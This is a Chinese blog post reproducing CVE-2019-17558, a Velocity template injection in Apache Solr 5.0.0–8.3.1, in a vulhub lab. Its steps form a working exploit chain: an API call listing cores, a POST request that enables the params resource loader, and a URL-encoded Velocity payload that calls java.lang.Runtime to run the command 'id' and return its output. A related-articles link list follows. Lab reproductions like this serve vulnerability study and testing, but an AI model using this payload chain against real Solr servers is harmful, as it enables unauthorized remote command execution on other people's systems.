vulhub中Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

2.通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称:

复制代码
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3.注入Velocity模板即可执行任意命令:

复制代码
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关推荐
penngo8 小时前
FlowLoom:基于 Apache Spark 的可视化数据处理平台
大数据·spark·apache
Apache RocketMQ1 天前
全新 AI 消息模型:Apache RocketMQ 如何让 AI 应用拥抱事件驱动架构?
人工智能·apache·rocketmq
MageGojo1 天前
给起名工具接入八字起名 API:参数设计、JSON 示例和应用场景
json·apache
醉颜凉1 天前
Lucene底层原理:倒排索引实现原理与代码实战,彻底吃透搜索引擎核心
搜索引擎·mybatis·lucene
x***r1512 天前
linux安装 apache-tomcat-7.0.42.tar.gz 详细步骤(解压、配置、启动)
linux·tomcat·apache
阿里云云原生3 天前
Apache RocketMQ 5.5.0 发布:LiteTopic 深度解析,如何支撑百万级 AI 会话并发?
apache·rocketmq
清平乐的技术专栏3 天前
【Doris从零到一】(一)Apache Doris 概述
apache
RestCloud3 天前
开源vs商业iPaaS:Apache Camel、MuleSoft与RestCloud的正面交锋
开源·apache·ipaas·mulesoft·api管理·集成平台
Volunteer Technology4 天前
集群基础环境搭建(一)
大数据·apache
risc1234565 天前
DocumentsWriterFlushQueue
lucene